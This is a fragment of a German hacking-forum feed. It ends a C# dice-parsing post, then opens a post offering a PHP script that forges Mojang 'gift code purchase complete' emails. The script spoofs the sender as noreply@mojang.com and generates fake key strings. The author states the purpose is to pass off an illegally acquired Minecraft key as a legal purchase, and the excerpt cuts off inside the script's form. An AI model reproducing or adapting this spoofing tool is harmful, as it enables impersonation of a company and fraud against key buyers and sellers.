#0000BB">Num</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;index&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">dices</span><span style="color: #007700">.</span><span style="color: #0000BB">FindIndex</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">dices</span><span style="color: #007700">.</span><span style="color: #0000BB">Count</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">delegate</span><span style="color: #007700">(</span><span style="color: #0000BB">Dice&nbsp;find</span><span style="color: #007700">)&nbsp;{&nbsp;return&nbsp;</span><span style="color: #0000BB">find</span><span style="color: #007700">.</span><span style="color: #0000BB">Num&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">d</span><span style="color: #007700">.</span><span style="color: #0000BB">Num</span><span style="color: #007700">;&nbsp;});<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">index&nbsp;</span><span style="color: #007700">!=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">dices</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">index</span><span style="color: #007700">&#93;&nbsp;=&nbsp;new&nbsp;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">int</span><span style="color: #007700">&#91;&#93;&nbsp;{&nbsp;</span><span style="color: #0000BB">d</span><span style="color: #007700">.</span><span style="color: #0000BB">Count&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">dice</span><span style="color: #007700">.</span><span style="color: #0000BB">Count</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">d</span><span style="color: #007700">.</span><span style="color: #0000BB">Num&nbsp;</span><span style="color: #007700">});<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">changed&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">changed</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">dices</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #0000BB">dice</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">arrDices&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">dices</span><span style="color: #007700">.</span><span style="color: #0000BB">ToArray</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">arrDices&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Sort</span><span style="color: #007700">(</span><span style="color: #0000BB">arrDices</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">arrDices</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">Sort</span><span style="color: #007700">(</span><span style="color: #0000BB">Dice</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">toSort</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;List&lt;</span><span style="color: #0000BB">int</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">nums&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;List&lt;</span><span style="color: #0000BB">int</span><span style="color: #007700">&gt;();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach&nbsp;(</span><span style="color: #0000BB">Dice&nbsp;d&nbsp;in&nbsp;toSort</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">nums</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #0000BB">d</span><span style="color: #007700">.</span><span style="color: #0000BB">Num</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">nums</span><span style="color: #007700">.</span><span style="color: #0000BB">Sort</span><span style="color: #007700">();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;List&lt;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">sortedDices&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;List&lt;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">&gt;();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach&nbsp;(</span><span style="color: #0000BB">int&nbsp;num&nbsp;in&nbsp;nums</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">sortedDices</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">int</span><span style="color: #007700">&#91;&#93;&nbsp;{&nbsp;</span><span style="color: #0000BB">GetCount</span><span style="color: #007700">(</span><span style="color: #0000BB">num</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">toSort</span><span style="color: #007700">),&nbsp;</span><span style="color: #0000BB">num&nbsp;</span><span style="color: #007700">}));<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">sortedDices</span><span style="color: #007700">.</span><span style="color: #0000BB">ToArray</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;</span><span style="color: #0000BB">int&nbsp;GetCount</span><span style="color: #007700">(</span><span style="color: #0000BB">int&nbsp;num</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">dices</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Dice&nbsp;found&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">dices</span><span style="color: #007700">.</span><span style="color: #0000BB">ToList</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">&gt;().</span><span style="color: #0000BB">Find</span><span style="color: #007700">(</span><span style="color: #0000BB">delegate</span><span style="color: #007700">(</span><span style="color: #0000BB">Dice&nbsp;d</span><span style="color: #007700">)&nbsp;{&nbsp;return&nbsp;</span><span style="color: #0000BB">d</span><span style="color: #007700">.</span><span style="color: #0000BB">Num&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">num</span><span style="color: #007700">;&nbsp;});<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">found</span><span style="color: #007700">.</span><span style="color: #0000BB">Count</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;</span><span style="color: #0000BB">Dice&nbsp;ParseString</span><span style="color: #007700">(</span><span style="color: #0000BB">string&nbsp;s</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">s&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">s</span><span style="color: #007700">.</span><span style="color: #0000BB">Trim</span><span style="color: #007700">().</span><span style="color: #0000BB">ToLower</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">String</span><span style="color: #007700">.</span><span style="color: #0000BB">IsNullOrEmpty</span><span style="color: #007700">(</span><span style="color: #0000BB">s</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;new&nbsp;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">(</span><span style="color: #0000BB">null</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">s</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;&nbsp;==&nbsp;</span><span style="color: #DD0000">'w'</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">s&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">s</span><span style="color: #007700">.</span><span style="color: #0000BB">Substring</span><span style="color: #007700">(</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">s</span><span style="color: #007700">.</span><span style="color: #0000BB">Contains</span><span style="color: #007700">(</span><span style="color: #DD0000">"w"</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">int</span><span style="color: #007700">.</span><span style="color: #0000BB">TryParse</span><span style="color: #007700">(</span><span style="color: #0000BB">s</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">out&nbsp;num</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;new&nbsp;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">int</span><span style="color: #007700">&#91;&#93;&nbsp;{&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">num&nbsp;</span><span style="color: #007700">});<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;new&nbsp;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">(</span><span style="color: #0000BB">null</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">sParams&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">s</span><span style="color: #007700">.</span><span style="color: #0000BB">Split</span><span style="color: #007700">(</span><span style="color: #DD0000">'w'</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;count</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">num</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">int</span><span style="color: #007700">.</span><span style="color: #0000BB">TryParse</span><span style="color: #007700">(</span><span style="color: #0000BB">sParams</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;,&nbsp;</span><span style="color: #0000BB">out&nbsp;count</span><span style="color: #007700">)&nbsp;&amp;&amp;&nbsp;</span><span style="color: #0000BB">int</span><span style="color: #007700">.</span><span style="color: #0000BB">TryParse</span><span style="color: #007700">(</span><span style="color: #0000BB">sParams</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;,&nbsp;</span><span style="color: #0000BB">out&nbsp;num</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;new&nbsp;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">int</span><span style="color: #007700">&#91;&#93;&nbsp;{&nbsp;</span><span style="color: #0000BB">count</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">num&nbsp;</span><span style="color: #007700">});<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;new&nbsp;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">(</span><span style="color: #0000BB">null</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Fragen? Dann fragt.<br />
<br />
MfG</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Brainy</dc:creator>
			<guid isPermaLink="true">showroom-102/c-fifty-console-31418</guid>
		</item>
		<item>
			<title>Tool für Minecraft-Key Verkäufer</title>
			<link>showroom-102/tool-fuer-minecraft-key-verkaeufer-30763?goto=newpost</link>
			<pubDate>Mon, 22 Aug 2011 19:36:06 GMT</pubDate>
			<description><![CDATA[Schönen Abend, 
 
ich brauchte Heute eine "Fake" E-Mail um zu beweisen, dass ich einen Minecraft-Key legal erworben habe, dieser war jedoch illegal....]]></description>
			<content:encoded><![CDATA[<div>Schönen Abend,<br />
<br />
ich brauchte Heute eine &quot;Fake&quot; E-Mail um zu beweisen, dass ich einen Minecraft-Key legal erworben habe, dieser war jedoch illegal. Somit suchte ich ein paar Minuten, fand ein paar E-Mails, welche aber nie das erfüllten, was ich wollte..<br />
<br />
Somit brauchte ich was, zum E-Mails faken. Paint schien mir nicht die beste Lösung, also entschied ich mich für ein Script. Dieses Script ermöglicht es also &quot;angebliche&quot; Bestellungen von Mojang fälschen zu lassen, damit ihr diese als Belege vorzeigen könnt.<br />
<br />
<b>Dieses Script wurde nur in Hotmail getestet, es ist unklar ob es für andere Anbieter gleichermaßen funktioniert. Die E-Mail wird in eurem Spam-Ordner landen.</b><br />
<br />
<b>Beispiel Mail:</b><br />
<a href="http://www.bilderload.com" target="_blank" rel="nofollow"><a style="font-weight:bold;text-decoration:none;" target="blank" href="http://www.bilderload.com/bild/133879/toolS3E87.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a></a><br />
<br />
<b>So siehts aus:</b><br />
<a href="http://www.bilderload.com" target="_blank" rel="nofollow"><a style="font-weight:bold;text-decoration:none;" target="blank" href="http://www.bilderload.com/bild/133883/tool2Z3Y56.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a></a><br />
<br />
Code:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br /><br />&nbsp;&nbsp;$headline&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">'Minecraft&nbsp;gift&nbsp;code&nbsp;purchase&nbsp;complete'</span><span style="color: #007700">;<br />&nbsp;&nbsp;</span><span style="color: #0000BB">$sender&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">'Mojang'</span><span style="color: #007700">;<br />&nbsp;&nbsp;</span><span style="color: #0000BB">$sender_mail&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">'noreply@mojang.com'</span><span style="color: #007700">;<br />&nbsp;&nbsp;</span><span style="color: #0000BB">$extra&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">'From:&nbsp;'</span><span style="color: #007700">.</span><span style="color: #0000BB">$sender</span><span style="color: #007700">.</span><span style="color: #DD0000">'&nbsp;&lt;'</span><span style="color: #007700">.</span><span style="color: #0000BB">$sender_mail</span><span style="color: #007700">.</span><span style="color: #DD0000">'&gt;'</span><span style="color: #007700">;<br />&nbsp;&nbsp;</span><span style="color: #0000BB">$extra&nbsp;</span><span style="color: #007700">.=&nbsp;</span><span style="color: #DD0000">'Content-Transfer-Encoding:&nbsp;8bit'</span><span style="color: #007700">;<br />&nbsp;&nbsp;<br />&nbsp;&nbsp;function&nbsp;</span><span style="color: #0000BB">generateMinecraftKey</span><span style="color: #007700">(</span><span style="color: #0000BB">$amount</span><span style="color: #007700">)<br />&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$letters&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">str_split</span><span style="color: #007700">(</span><span style="color: #DD0000">'abcdefghijklmnopqrstuvwxyz'</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$numbers&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">str_split</span><span style="color: #007700">(</span><span style="color: #DD0000">'123456789'</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$keys&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">''</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;for(</span><span style="color: #0000BB">$i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">$i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">$amount</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">$i</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">shuffle</span><span style="color: #007700">(</span><span style="color: #0000BB">$letters</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">shuffle</span><span style="color: #007700">(</span><span style="color: #0000BB">$numbers</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$keys&nbsp;</span><span style="color: #007700">.=&nbsp;</span><span style="color: #0000BB">$letters</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">2</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">$numbers</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">2</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">$letters</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">6</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">$numbers</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">7</span><span style="color: #007700">&#93;.</span><span style="color: #DD0000">'-'</span><span style="color: #007700">.</span><span style="color: #0000BB">$letters</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">11</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">$numbers</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">$letters</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">17</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">$numbers</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">4</span><span style="color: #007700">&#93;.</span><span style="color: #DD0000">'-'</span><span style="color: #007700">.</span><span style="color: #0000BB">$letters</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">2</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">$numbers</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">3</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">$letters</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">6</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">$numbers</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">5</span><span style="color: #007700">&#93;.</span><span style="color: #DD0000">"\n"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">$keys</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;}<br /></span><span style="color: #0000BB">?&gt;<br /></span><br />&lt;html&gt;<br /><br />&lt;head&gt;<br /><br />&nbsp;&nbsp;&lt;title&gt;&nbsp;Minecraft&nbsp;Fake&nbsp;Buy&nbsp;&lt;/title&gt;<br />&nbsp;&nbsp;<br />&lt;/head&gt;<br /><br />&lt;body&gt;<br /><br />&lt;form&nbsp;action="#"&nbsp;method="post"&gt;<br /><br />&nbsp;&nbsp;&lt;table&gt;<br />&nbsp;&nbsp;&lt;tr&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&nbsp;Dein&nbsp;Name&nbsp;(Minecraft):&nbsp;&lt;/td&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&nbsp;&lt;input&nbsp;type="text"&nbsp;name="name"&nbsp;value="<span style="color: #0000BB">&lt;?php&nbsp;</span><span style="color: 